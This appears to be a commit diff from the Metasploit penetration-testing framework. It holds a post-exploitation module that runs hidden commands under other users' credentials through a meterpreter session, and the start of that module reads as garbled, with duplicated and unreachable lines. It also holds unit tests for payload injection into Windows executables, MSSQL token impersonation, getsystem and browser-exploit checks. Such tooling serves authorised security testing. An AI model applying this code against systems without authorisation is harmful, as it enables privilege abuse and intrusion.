@host_info = session.sys.config.sysinfo
def touch(path)
write_file(path, "")
cmd_exec("icacls #{path} /grant Everyone:(F)")
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
return unless session.type == "meterpreter"
pi = nil
# check/set vars
setpass = datastore["SETPASS"]
cmdout = datastore["CMDOUT"]
user = datastore["USER"] || nil
pass = datastore["PASS"] || nil
password = datastore["PASSWORD"] || nil
cmd = datastore["CMD"] || nil
rg_adv = session.railgun.advapi32
domain = datastore['DOMAIN']
# reset user pass if setpass is true
if datastore["SETPASS"]
if setpass
print_status("Setting user password")
if !reset_pass(user,pass)
print_error("Error resetting password")
return 0
end
fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
end
# set profile paths
sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
os = @host_info['OS']
profiles_path = sysdrive + "\\Documents and Settings\\"
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
path = profiles_path + user + "\\"
outpath = path + "out.txt"
system_temp = get_env('WINDIR') << '\\Temp'
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
# this is start info struct for a hidden process last two params are std out and in.
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
# Create output file and set permissions so everyone can access
touch(outpath)
#set command string based on cmdout vars
cmdstr = "cmd.exe /c #{cmd}"
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
# Check privs and execute the correct commands
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
# Check privs and execute the correct commands
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
if priv_check
if @isadmin #local admin
print_status("Executing CreateProcessWithLogonW...we are Admin")
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
else #system with correct token privs enabled
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
"LOGON32_PROVIDER_DEFAULT", 4)
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
pi = create_process_as_user(domain, user, password, nil, cmdstr)
if pi
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
else
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
print_error("privs to system and do not have sufficient privileges. If you elevated to")
print_error("system, migrate to a process that was started as system (srvhost.exe)")
return 0
print_status("Executing CreateProcessWithLogonW...")
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
end
# Only process file if the process creation was successful, delete when done, give us info
# about process
if cs["return"]
tmpout = ""
if cmdout
outfile = session.fs.file.new(outpath, "rb")
until outfile.eof?
tmpout << outfile.read
end
outfile.close
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
c.close
end
if pi
tmpout = read_file(outpath) if cmdout
pi = cs["lpProcessInformation"].unpack("LLLL")
print_status("Command Run: #{cmdstr}")
print_status("Process Handle: #{pi[0]}")
print_status("Thread Handle: #{pi[1]}")
print_status("Process Id: #{pi[2]}")
print_status("Thread Id: #{pi[3]}")
print_line(tmpout)
else
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
return 0
vprint_status("Process Handle: #{pi[:process_handle]}")
vprint_status("Thread Handle: #{pi[:thread_handle]}")
vprint_status("Process Id: #{pi[:process_id]}")
vprint_status("Thread Id: #{pi[:thread_id]}")
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
end
end
end

View File

@ -28,7 +28,7 @@ require 'msf/core/payload_generator'
# Creates a new framework object.
#
# @note Ignores any previously cached value
# @note Ignores any previously cached value.
# @param (see ::Msf::Simple::Framework.create)
# @return [Msf::Framework]
def init_framework(create_opts={})
@ -66,7 +66,7 @@ require 'msf/core/payload_generator'
end
end
opt.on('-l', '--list [module_type]', Array, 'List a module type example: payloads, encoders, nops, all') do |l|
opt.on('-l', '--list [module_type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
if l.nil? or l.empty?
l = ["all"]
end
@ -297,8 +297,14 @@ if __FILE__ == $0
exit
end
$stderr.puts "Options for #{payload_mod.fullname}\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ')
$stderr.puts "Options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
exit(0)
end

View File

@ -1017,7 +1017,7 @@ module Msf
complete = false
status = @n.scan_list
status["scans"].each { |scan|
if scan["id"] == scan_id.to_i && scan["status"] == "completed"
if scan["id"] == scan_id.to_i && (scan["status"] == "completed" || scan["status"] == "imported")
complete = true
end
}

View File

@ -8,4 +8,26 @@ describe Metasploit::Framework::LoginScanner::HTTP do
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
subject do
described_class.new
end
let(:response) { Rex::Proto::Http::Response.new(200, 'OK') }
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
describe '#send_request' do
context 'when a valid request is sent' do
it 'returns a response object' do
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
end

View File

@ -72,14 +72,6 @@ describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
end
end
describe '#send_request' do
context 'when a valid request is sent' do
it 'returns a response object' do
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
describe '#get_last_sid' do
let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK')

View File

@ -0,0 +1,82 @@
require 'spec_helper'
require 'msf/core/exe/segment_appender'
describe Msf::Exe::SegmentAppender do
let(:opts) do
option_hash = {
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
:arch => :x86
}
end
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
it { should respond_to :payload }
it { should respond_to :template }
it { should respond_to :arch }
it { should respond_to :processor }
it { should respond_to :buffer_register }
it 'should return the correct processor for the arch' do
injector.processor.class.should == Metasm::Ia32
injector.arch = :x64
injector.processor.class.should == Metasm::X86_64
end
context '#create_thread_stub' do
it 'should use edx as a default buffer register' do
injector.buffer_register.should == 'edx'
end
context 'when given a non-default buffer register' do
let(:opts) do
option_hash = {
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
:arch => :x86,
:buffer_register => 'eax'
}
end
it 'should use the correct buffer register' do
injector.buffer_register.should == 'eax'
end
end
end
describe '#generate_pe' do
it 'should return a string' do
injector.generate_pe.kind_of?(String).should == true
end
it 'should produce a valid PE exe' do
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
end
context 'the generated exe' do
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
it 'should be the propper arch' do
exe.bitsize.should == 32
end
it 'should have 5 sections' do
exe.sections.count.should == 5
end
it 'should have all the right original section names' do
s_names = []
exe.sections.collect {|s| s_names << s.name}
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
end
it 'should have the last section set to RWX' do
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
end
it 'should have an entrypoint that points to the last section' do
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
end
end
end
end

View File

@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do
injector.processor.class.should == Metasm::X86_64
end
context '#payload_as_asm' do
it 'should return the payload as declare byte instructions' do
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
end
end
context '#create_thread_stub' do
it 'should use edx as a default buffer register' do
injector.buffer_register.should == 'edx'

View File

@ -41,9 +41,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
:ua_ver =>'8.0',
:arch =>'x86',
:office =>'null',
:activex =>'true',
:proxy =>false,
:language =>'en-us',
:activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
:proxy => false,
:language => 'en-us',
:tried => true
}
end
@ -65,6 +65,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
end
describe '#has_bad_activex?' do
context 'when there is a bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
it 'returns false' do
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
end
end
context 'when there is no bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
it 'returns true' do
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
end
end
end
describe "#get_bad_requirements" do
let(:rejected_requirements) do
server.get_bad_requirements(fake_profile)

View File

@ -0,0 +1,492 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/mssql'
describe Msf::Post::Windows::MSSQL do
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ]
stubs.each { |meth| mod.stub(meth) }
mod.stub(:service_info).and_return({})
mod
end
let(:running_pid) do
6541
end
let(:stopped_pid) do
0
end
let(:named_instance) do
'NamedInstance'
end
# http://blogs.technet.com/b/fort_sql/archive/2010/05/31/list-of-sql-server-service-names.aspx
let(:sql_server_7_display) do
'MSSQLServer'
end
let(:sql_server_2000_display) do
'MSSQLServer'
end
let(:sql_server_2000_named_display) do
"MSSQL$#{named_instance}"
end
# Affects 7 and 2000
let(:sql_server_analysis_services_display) do
'MSSQLServerOLAPService'
end
let(:sql_server_2005_display) do
'SQL Server (MSSQLSERVER)'
end
let(:sql_server_2005_named_display) do
"MSSQLServer#{named_instance}"
end
let(:sql_server_2008_display) do
'SQL Server (MSSQLSERVER)'
end
let(:sql_server_2008_named_display) do
"SQL Server (#{named_instance})"
end
# Affects 2005/2008
let(:sql_server_agent_display) do
"SQL Server Agent (MSSQLServer)"
end
let(:stopped_2k8_sql_instance) do
{ display: sql_server_2008_display, pid: stopped_pid }
end
let(:running_2k8_sql_instance) do
{ display: sql_server_2008_display, pid: running_pid }
end
let(:running_named_2k8_sql_instance) do
{ display: sql_server_2008_named_display, pid: running_pid }
end
let(:stopped_named_2k8_sql_instance) do
{ display: sql_server_2008_named_display, pid: stopped_pid }
end
let(:running_sql_server_agent_service) do
{ display: sql_server_agent_display, pid: running_pid }
end
let(:running_2k5_sql_instance) do
{ display: sql_server_2005_display, pid: running_pid }
end
let(:running_named_2k5_sql_instance) do
{ display: sql_server_2005_named_display, pid: running_pid }
end
let(:running_2k_sql_instance) do
{ display: sql_server_2000_display, pid: running_pid }
end
let(:running_named_2k_sql_instance) do
{ display: sql_server_2000_named_display, pid: running_pid }
end
let(:running_7_sql_instance) do
{ display: sql_server_7_display, pid: running_pid }
end
let(:running_analysis_service) do
{ display: sql_server_analysis_services_display, pid: running_pid }
end
let(:normal_service) do
{ display: 'blah', pid: running_pid }
end
describe "#check_for_sqlserver" do
let(:instance) do
nil
end
context "when instance is nil" do
it "should return nil if unable to locate any SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service)
result = subject.check_for_sqlserver(instance)
result.should be_nil
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
it "shouldn't identify a non running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
end
context "when SQL Server 7 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_7_sql_instance
end
end
context "when SQL Server 2000 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k_sql_instance
end
end
context "when SQL Server 2005 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k5_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k5_sql_instance
end
end
context "when SQL Server 2008 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
context "when instance is supplied" do
let(:instance) do
named_instance
end
it "should return nil if unable to locate any SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service)
result = subject.check_for_sqlserver(instance)
result.should be_nil
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
it "shouldn't identify a non running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
it "should only identify that instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
context "when SQL Server 7 and instance is supplied" do
let(:instance) do
'MSSQLServer'
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_7_sql_instance
end
end
context "when SQL Server 2000 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k_sql_instance
end
end
context "when SQL Server 2005 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k5_sql_instance
end
end
context "when SQL Server 2008 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
end
describe "#impersonate_sql_user" do
let(:pid) do
8787
end
let(:user) do
'sqluser'
end
let(:service) do
{ pid: pid }
end
let(:process) do
{ 'pid' => pid, 'user' => user }
end
it 'should return false if service is invalid or pid is invalid' do
subject.impersonate_sql_user(nil).should be_falsey
subject.impersonate_sql_user(pid: nil).should be_falsey
subject.impersonate_sql_user(pid: 0).should be_falsey
end
context 'user has privs to impersonate' do
before(:each) do
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege'])
subject.stub_chain('session.incognito').and_return(true)
subject.stub_chain('session.sys.process.each_process').and_yield(process)
end
it 'should return true if successful impersonating' do
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully')
subject.impersonate_sql_user(service).should be true
end
it 'should return false if fails impersonating' do
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff')
subject.impersonate_sql_user(service).should be false
end
it 'should return false if unable to find process username' do
subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0)
subject.impersonate_sql_user(service).should be false
end
end
context 'user does not have privs to impersonate' do
before(:each) do
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
subject.stub_chain('client.sys.config.getprivs').and_return([])
end
it 'should return true if successful' do
expect(subject).to receive(:print_warning)
subject.stub_chain('session.core.migrate').with(pid).and_return(true)
subject.impersonate_sql_user(service).should be true
end
it 'should rescue an exception if migration fails' do
expect(subject).to receive(:print_warning)
subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError)
subject.impersonate_sql_user(service).should be false
end
end
end
describe "#get_system" do
it 'should return true if already SYSTEM' do
expect(subject).to receive(:is_system?).and_return(true)
subject.get_system.should be_truthy
end
it 'should return true if able to get SYSTEM and print a warning' do
expect(subject).to receive(:is_system?).and_return(false)
expect(subject).to receive(:print_warning)
subject.stub_chain('session.priv.getsystem').and_return([true])
subject.get_system.should be_truthy
end
it 'should return false if unable to get SYSTEM and print a warning' do
expect(subject).to receive(:is_system?).and_return(false)
expect(subject).to receive(:print_warning)
subject.stub_chain('session.priv.getsystem').and_return([false])
subject.get_system.should be_falsey
end
end
describe "#run_cmd" do
it 'should return a string' do
p = double('process')
c = double('channel')
p.stub(:channel).and_return(c)
subject.stub_chain('session.sys.process.execute').and_return(p)
expect(c).to receive(:read).and_return('hello')
expect(c).to receive(:read).and_return(nil)
expect(c).to receive(:close)
expect(p).to receive(:close)
subject.run_cmd(nil).should eq 'hello'
end
end
describe "#run_sql" do
let(:sqlclient) do
'blah'
end
before(:each) do
subject.sql_client = sqlclient
end
let(:query) do
'SELECT * FROM TABLE;'
end
let(:instance) do
'commandInstance'
end
let(:server) do
'mssql1231'
end
context 'when only a query is supplied' do
it 'should pass the @sql_client, and query to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S . ").should be_truthy
end
subject.run_sql(query)
end
end
context 'when a query and instance is supplied' do
it 'should pass the @sql_client, query, and instance to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S .\\#{instance} ").should be_truthy
end
subject.run_sql(query, instance)
end
it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S . ").should be_truthy
end
subject.run_sql(query, 'mssqlsErver')
end
end
context 'when a query, instance, and server is supplied' do
it 'should pass the @sql_client, query, instance, and server to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S #{server}\\#{instance} ").should be_truthy
end
subject.run_sql(query, instance, server)
end
end
end
let(:osql) do
'osql'
end
let(:sql_command) do
'sqlcmd'
end
describe "#check_osql" do
it "should return nil if no osql" do
expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah')
subject.check_osql.should be_falsey
end
it "should return true if present" do
expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)')
subject.check_osql.should be_truthy
end
end
describe "#check_sqlcmd" do
it "should return nil if no sqlcmd" do
expect(subject).to receive(:run_cmd).and_return('blah')
subject.check_sqlcmd.should be_falsey
end
it "should return true if present" do
expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool')
subject.check_sqlcmd.should be_truthy
end
end
describe "#get_sql_client" do
it "should return nil if no client is available" do
expect(subject).to receive(:check_sqlcmd).and_return(false)
expect(subject).to receive(:check_osql).and_return(false)
subject.get_sql_client.should be_nil
subject.sql_client.should be_nil
end
it "should return 'osql' if osql is available" do
expect(subject).to receive(:check_sqlcmd).and_return(false)
expect(subject).to receive(:check_osql).and_return(true)
subject.get_sql_client.should eq osql
subject.sql_client.should eq osql
end
it "should return 'sqlcmd' if sqlcmd is available" do
allow(subject).to receive(:check_osql).and_return(true)
expect(subject).to receive(:check_sqlcmd).and_return(true)
subject.get_sql_client.should eq sql_command
subject.sql_client.should eq sql_command
end
end
end

View File

@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/runas'
describe Msf::Post::Windows::Runas do
let(:process_info) do
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
end
let(:phToken) do
"testPhToken"
end
let(:advapi32) do
advapi32 = double('advapi32')
advapi32.stub(:CreateProcessWithLogonW).and_return({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:CreateProcessAsUserA).and_return ({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:LogonUserA).and_return ({
'return' => true,
'phToken' => phToken
})
advapi32
end
let(:kernel32) do
double('kernel32', CloseHandle: nil)
end
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
stubs.each { |meth| mod.stub(meth) }
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
mod
end
context "#create_process_with_logon" do
it "should return a process_info hash" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#create_process_as_user" do
it "should return a process_info hash" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).to receive(:CloseHandle).with(1)
expect(kernel32).to receive(:CloseHandle).with(2)
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure of create process" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
it "should return a nil on failure of logon user" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).not_to receive(:CreateProcessAsUserA)
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#startup_info" do
it "should be 68 bytes" do
subject.startup_info.size.should eq(68)
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
si[11].should eq(1)
si[12].should eq(0)
end
end
context "#parse_process_information" do
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return an exception when given an empty string" do
expect { subject.parse_process_information("") }.to raise_error
end
it "should return an exception when given an nil value" do
expect { subject.parse_process_information(nil) }.to raise_error
end
end
context "#check_user_format" do
let(:upn_username) do
"bob@flob.com"
end
let(:domain_username) do
"flob\\bob"
end
let(:domain) do
"flob"
end
it "should return an exception when username is nil" do
expect { subject.check_user_format(nil, domain) }.to raise_error
end
it "should return an exception when UPN format and domain supplied" do
expect { subject.check_user_format(upn_username, domain) }.to raise_error
end
it "should return true when UPN format and domain is nil" do
subject.check_user_format(upn_username, nil).should be true
end
it "should return true when domain format and domain is nil" do
subject.check_user_format(domain_username, nil).should be true
end
it "should return true when domain format and domain supplied" do
subject.check_user_format(domain_username, domain).should be true
end
end
context "#check_command_length" do
let(:max_length) do
1024
end
let(:max_path) do
256
end
let(:large_command_module) do
("A" * max_path + 1) + " arg1 arg2"
end
let(:normal_command_module) do
("A" * max_path) + " arg1 arg2"
end
let(:large_command_line) do
"A" * max_length + 1
end
let(:normal_command_line) do
"A" * max_length
end
let(:application_name) do
"c:\\windows\\system32\\calc.exe"
end
it "should raise an exception when max_length is nil" do
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
end
it "should raise an exception when application_name and command_line are nil" do
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
end
it "should return true when application_name is set and command_line is nil" do
subject.check_command_length(application_name, nil, max_length).should be true
end
it "should return true when application_name is set and command_line is max_length" do
subject.check_command_length(application_name, normal_command_line, max_length).should be true
end
it "should raise an exception when command_line is larger than max_length" do
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
end
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
end
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
subject.check_command_length(nil, normal_command_module, max_length).should be true
end
end
end

View File

@ -145,6 +145,97 @@ describe Msf::HTTP::Wordpress::Version do
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when all versions are vulnerable' do
let(:wp_code) { 200 }
let(:wp_body) { 'Stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
end
end
describe '#check_theme_version_from_style' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
let(:wp_body) { nil }
let(:wp_fixed_version) { nil }
context 'when no style is found' do
let(:wp_code) { 404 }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
end
context 'when no version can be extracted from style' do
let(:wp_code) { 200 }
let(:wp_body) { 'invalid content' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
context 'when version from style has arbitrary leading whitespace' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
let(:wp_body) { 'Version:1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is not vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.2' }
